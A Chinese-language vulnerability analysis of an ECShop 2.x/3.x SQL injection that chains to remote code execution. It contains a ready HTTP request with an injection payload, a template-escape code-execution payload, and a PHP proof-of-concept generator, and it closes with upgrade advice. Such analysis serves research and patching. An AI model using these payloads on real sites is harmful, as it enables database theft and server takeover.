0x01 漏洞詳情
ECShop是一款B2C獨立網店系統 ,適合企業及個人快速構建個性化網上商店。 系統是基於PHP語言及MYSQL數據庫構架開發的跨平臺開源程序。
其2017年及以前的版本中, user.php的display函數中,模版變量可控,導致注入,配合注入可達到遠程代碼執行
0x02 影響範圍
ECShop 2.x
ECShop 3.x
0x03 漏洞分析
ringk3y老哥把這個漏洞分析的很清晰,整個利用以及繞過的過程非常精彩,感謝分享,也再次感謝p神提供的環境.
SQL注入:
在user.php中
$back_act變量來源於HTTP_REFERER, assign函數用於在模版變量裡賦值。
繼續跟蹤 display函數
讀取user_passport.dwt模版文件內容,顯示解析變量後的html內容,用_echash做分割,得到$k然後交給isnert_mod處理,由於_echash是默認的,不是隨機生成的,所以$val內容可隨意控制。
接著看 insert_mod函數
=1pc這裡進行了動態調用,=1pc$val傳入進來用|分割,參數傳入進來時需要被序列化。
=1pc再看include/lib_insert.php中的insert_ads函數
=1pc
這裡直接就能注入了
GET /user.php?act=login HTTP/1.1
Accept: */*
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: IP
Pragma: no-cache
Cookie: PHPSESSID=7dd64ac53c93500b5dff70fdc0163f2e; ECS_ID=057fee67dd00d21af00d81537cb1d09e0946bdec; ECS[visit_times]=2
Referer:554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;}
Connection: close
代碼執行:
繼續看fetch函數
追蹤_eval函數
$position_style變量來源於數據庫中的查詢結構
然後我們繼續構造SQL注入,因為這段sql操作 order by部分換行了截斷不了 所以需要在id處構造註釋來配合num進行union查詢
payload:
SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, p.ad_height, p.position_style, RAND() AS rnd FROM `ecshop27`.`ecs_ad` AS a LEFT JOIN `ecshop27`.`ecs_ad_position` AS p ON a.position_id = p.position_id WHERE enabled = 1 AND start_time <= '1535678679' AND end_time >= '1535678679' AND a.position_id = ''/*' ORDER BY rnd LIMIT */ union select 1,2,3,4,5,6,7,8,9,10-- -
函數中有一個判斷:
=1pc我們 id傳入’/*
=1pcnum傳入*/ union select 1,0x272f2a,3,4,5,6,7,8,9,10– -就能繞過了
var_dump()一下
再看fetch函數,傳入的參數被fetch_str函數處理了
追蹤fetch_str函數,這裡的字符串處理流程比較複雜
return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);
這一行意思是比如$source是xxxx{$asd}xxx,那麼經過這行代碼處理後就是返回this->select(‘$asd’)的結果, 看看select函數:
第一個字符為$時進入$this->get_val函數
我們$val沒有.$又進入make_var函數
最後這裡引入單引號從變量中逃逸, 我們要閉合_var所以最終payload是:
{$asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEudHh0JywnZ2V0c2hlbGwnKQ=='));//}xxx
在這裡P神用php寫了一個Poc:這裡2.x跟3.x的hash不一樣,所以使用的時候需要更改一下:
$shell = bin2hex("{\$asd'];phpinfo\t();//}xxx");
$id = "-1' UNION/*";
$arr = [
"num" => sprintf('*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell),
"id" => $id
];
$s = serialize($arr);
$hash3 = '45ea207d7a2b68c49582d2d22adf953a';
$hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';
echo "POC for ECShop 2.x: \n";
echo "{$hash2}ads|{$s}{$hash2}";
echo "\n\nPOC for ECShop 3.x: \n";
echo "{$hash3}ads|{$s}{$hash3}";
把poc放到php環境裡運行一下:
2.x執行結果如下 :
3.x 執行結果如下:
0x04 修復建議
最新的3.6.0最新版已經修復完畢,建議升級最新版本!
Reference:
https://github.com/vulhub/vulhub/blob/master/ecshop/xianzhi-2017-02-82239600/README.zh-cn.md
http://ringk3y.com/2018/08/31/ecshop2-x%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/
閱讀更多 Web安全陪跑團 的文章